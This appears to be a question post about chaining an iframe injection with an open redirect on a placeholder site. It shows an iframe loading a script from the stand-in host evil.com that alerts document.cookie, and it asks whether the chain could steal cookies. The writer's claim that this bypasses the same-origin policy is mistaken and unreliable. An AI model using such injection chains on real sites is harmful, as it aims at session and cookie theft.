I know of a website, lets call it website.com
, that has these vulnerabilities:
iframe injection: I can inject an iframe with a src attribute, but cannot inject any script directly. Lets say that this is on
website.com/iframeinjection
.uncontrolled redirect vulnerability:
website.com/link?path=google.com
redirects togoogle.com
.
Chaining these two vulnerabilities together, I used the iframe injection to insert something like this on website.com/iframeinjection
:
<iframe src="website.com/link?path=evil.com/index.html"></iframe>
This bypasses the same origin policy, since the base-url is website.com, and this script from evil.com/index.html
is executed in website.com/iframeinjection
:
<!DOCTYPE html>
<html>
<head></head>
<body>
<script>
alert(1);
alert(document.cookie);
</script
</body>
</html>
When visiting website.com/iframeinjection
though, the alert(1)
alerts 1, as usual, but the alert(document.cookie)
cannot access the cookie from website.com
even though the javascript is being executed on the outside of the iframe. Why is this? Is this a legitimate vulnerability? Is there any way this could be used to steal cookies?